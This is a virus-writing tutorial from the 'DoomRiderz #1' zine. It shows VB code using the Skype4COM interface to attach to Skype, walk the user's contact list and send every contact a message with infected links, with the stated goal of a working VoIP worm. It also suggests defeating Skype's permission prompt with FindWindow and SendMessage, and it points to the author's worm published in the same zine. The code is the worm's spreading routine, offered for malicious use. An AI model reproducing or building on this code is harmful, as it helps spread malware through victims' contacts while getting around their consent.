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Using Skype for VX

DoomRiderz #1

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  1. Introduction
  2. Code
  3. Greetz

1) Introduction

This is my first tutorial for the doomriderz, I will try to explain it in the better way :).

But remember my first language is not english but italian :). Skype is a very popular VoIP client, you can talk with all the world with few money and in every moment ( you need only a PC + skype ). This tutorial will explain you how to use the classical IM component of this program. The challenge is to create a full working VoIP worm :)

2) Code

There are 2 main ways to access to skype:

  1. Direct API
  2. Skype4COM interface

The option "a" is not so simple, I used it in my first C worm released in EOF#1 and I took much time to implement it. If you are interested look at the zine: The option "b" is the better than "a": it is very simple and you can use skype with few lines of code. Ok no other words, go to code :) This is a vb code snippet that shows all:

1       Set skype_fd = CreateObject("Skype4COM.Skype")
2       skype_fd.Client.Start
3       skype_fd.Attach

Line 1: instance a Skype4COM object (in theory you could do this in every language that can access COM, asm too :) )

Line 2: boot up skype

Line 3: attach to skype client

Ok now we are connected to skype, ah I was forgetting, skype will prompt user to allow proggy to access skype ... an exercise for the reader, bypass skype warning (FindWindow() & SendMessage() should be enough). The next step is to read contact list and send IM messages (containing infected URLs):

4       For Each user In skype_fd.Friends
5       skype_fd.SendMessage user.Handle, "your message here"
6       Next

Line 4: this for loop is to iterate in contact list ( current buddy in user var )

Line 5: Use the SendMessage() method to send the IM message

Line 6: the end of the loop :)

It's amazing, with those few lines of code you can use skype for your own aim. I used vb for an example worm (M$ products can destroy your brain!) but every other language could be used like js, or some .net languages. For a nasty example of all this shit, look at my utopia vb worm in this zine

3) Greetz (in random order)

A great thx go to all doomriderz team:

for the fun on MsN and on IrC and your amazing code (I learn much from you)
for being a very friendly guy and a pioneer of .NET :)
thx for your suggestions about my VCK :).

The same for the other members of doomriderz.

Other people I would like to thank:

you are my vx-father :)
you are the right leader for EOF, go on so :) !
a great rude friend :)
Sex pistols rulez !

You can contact me at: [email protected], my home site: or our main site:

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